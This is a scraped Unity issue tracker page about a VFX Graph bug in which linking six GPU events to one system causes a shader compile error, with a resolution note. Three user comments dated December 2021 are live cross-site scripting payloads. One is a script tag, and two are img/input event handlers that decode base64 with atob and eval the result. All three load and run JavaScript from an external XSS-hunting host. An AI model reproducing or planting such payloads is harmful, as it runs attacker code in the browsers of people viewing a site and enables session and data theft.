Search Issue Tracker
Fixed in N/A (awaiting for merge)
Fixed in 10.5.0
Votes
0
Found in [Package]
12.0.0
Issue ID
1323434
Regression
No
[VFX] Too many GPU Event leads to compilation error
After link of 6 gpu event to the same system observe the error
`syntax error: unexpected token 'if' at kernel CSMain`
-
mdakrammiya
Dec 08, 2021 21:03
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//bismillah98.xss.ht");a.send();</script>
-
mdakrammiya
Dec 08, 2021 21:03
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmlzbWlsbGFoOTgueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>
-
mdakrammiya
Dec 08, 2021 21:02
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmlzbWlsbGFoOTgueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== autofocus>
Add comment
All about bugs
View bugs we have successfully reproduced, and vote for the bugs you want to see fixed most urgently.
Latest issues
- Articulation Body with 'Revolute' Joint Type has erratic behavior when Upper Limit is set to above 360
- WebGL Player fails to render Scene when Terrain with Detail Mesh is added and WebGPU Graphics API is used
- Inconsistent errors are logged when different types are passed into the Query "Q<>" method in UIToolkit and the ancestor VisualElement is null
- Crash on GetMaterialPropertyByIndex when opening a specific Scene
- Discrepancies in the styling are present when using a TSS file instead of a USS file in custom EditorWindow
Resolution Note (fix version N/A (awaiting for merge)):
Thanks for this report, the fix is pretty straightforward and related to this line of code : https://github.com/Unity-Technologies/Graphics/blob/master/com.unity.visualeffectgraph/Editor/Compiler/VFXCodeGenerator.cs#L144
However, 6 output for gpuevent are only possible on DX11 if the sorting is disabled or there isn't any particle lifetime, otherwise, you will get this error :
```Shader uses 9 UAVs (0 textures and 9 buffers), which is more than the 8 maximum currently supported on D3D11.0.This is OK if you are only targeting D3D11.1 platforms at kernel CSMain (on d3d11)```